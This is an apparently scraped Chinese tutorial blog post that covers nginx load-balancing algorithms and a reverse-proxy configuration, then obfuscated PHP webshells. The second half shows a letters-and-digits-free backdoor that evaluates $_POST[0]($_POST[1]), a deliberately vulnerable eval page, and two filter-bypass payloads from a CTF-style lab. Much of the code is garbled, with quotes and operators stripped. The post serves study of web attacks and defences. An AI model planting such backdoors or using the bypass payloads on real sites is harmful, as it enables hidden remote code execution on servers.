创建网站需要哪些过程,安阳哪有做网站的,郑州中企业网站建设,郑州网站设计汉狮网络目录 一、负载均衡
1.nginx负载均衡算法
2.nginx反向代理-负载均衡
二、webshell 1.构造不含数字和字母的webshell 2.如何绕过 一、负载均衡
1.nginx负载均衡算法
#xff08;1#xff09;轮询#xff08;默认#xff09;每个请求按时间顺序逐一分配到不同的后端服务1轮询默认每个请求按时间顺序逐一分配到不同的后端服务如果后端某台服务器死机自动剔除故障系统使用户访问不受影响。
2weight轮询权值weight的值越大分配到的访问概率越高主要用于后端每台服务器性能不均衡的情况下。仅仅为在主从的情况下设置不同的权值达到合理有效的地利用主机资源。
3ip_hash 源地址哈希法源地址哈希的思想是根据获取客户端的IP地址通过哈希函数计算得到的一个数值用该数值对服务器列表的大小进行取模运算得到的结果便是客服端要访问服务器的序号。采用源地址哈希法进行负载均衡同一IP地址的客户端当后端服务器列表不变时它每次都会映射到同一台后端服务器进行访问。
4fair比 weight、ip_hash更加智能的负载均衡算法fair算法可以根据页面大小和加载时间长短智能地进行负载均衡也就是根据后端服务器的响应时间 来分配请求响应时间短的优先分配。Nginx本身不支持fair如果需要这种调度算法则必须安装upstream_fair模块。
5url_hash按访问的URL的哈希结果来分配请求使每个URL定向到一台后端服务器可以进一步提高后端缓存服务器的效率。Nginx本身不支持url_hash如果需要这种调度算法则必须安装Nginx的hash软件包。
其中须注意ip_hash可以保持一个长链接会话链接保持session。
2.nginx反向代理-负载均衡
首先修改nginx.conf的配置文件。
该部分添加到nginx.conf的http中
upstream nginx_php{# 30s内检查心跳发送两次包未回复就代表该机器宕机请求分发权重比为1:2server 192.168.41.132 weight100 max_fails2 fail_timeout30s; server 192.168.41.1 weight200 max_fails2 fail_timeout30s;
}该部分添加到nginx.conf的server中
server {location / {root html;index index.html index.htm index.jsp index.ftl;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_pass http://nginx_php;}
} 然后分别在192.168.41.132中分别创建对应的页面用于展示负载是否成功。
192.168.41.132的页面 然后在192.168.41.1同样搭建一个页面 然后重启nginx进行访问。
首先跳转到192.168.41.132的页面。 通过刷新跳转到192.168.41.1的页面再次刷新依然是该页面因为这个页面的权重是2。 再次刷新后又跳转回192.168.41.128的页面。
总结通过nginx反向代理-负载均衡可以很大的改善网站的访问效率。
二、webshell 1.构造不含数字和字母的webshell
?phpfunction B(){echo Hello Angel_Kitty;}$_;$__ ? ^ }; #通过异或操作得到B$__();
?
运行结果为Hello Angel_Kitty 下面是个非常简单的非数字字母的PHP后门
?php$_; // $_ 1$__(#^|); // $__ _$__.(.^~); // _P$__.(/^); // _PO$__.(|^/); // _POS$__.({^/); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
? 2.如何绕过
通过案例进行介绍。
首先创建web.php和flag.php。
web.php:
?php
include flag.php;
if(isset($_GET[code])){$code $_GET[code];if(strlen($code)40){die(Long.);}if(preg_match(/[A-Za-z0-9]/,$code)){die(NO.);}eval($code);
}else{highlight_file(__FILE__);
}
?flag.php:
?php
function getFlag(){echo yanan{i love yanan};
} 然后运行首先查看一下运行的web.php 通过写payload实现输出flag.php的内容。 第一种payload?code$_{{{^?/;${$_}[_]();_getFlag
最终运行结果如下 第二种payload?code$_~%98%9A%8B%B9%93%9E%98;$_();
第二种主要就是进行一个取反的操作实现绕过。 可见与flag.php中的构造函数中的echo输出结果一致最终实现绕过的效果。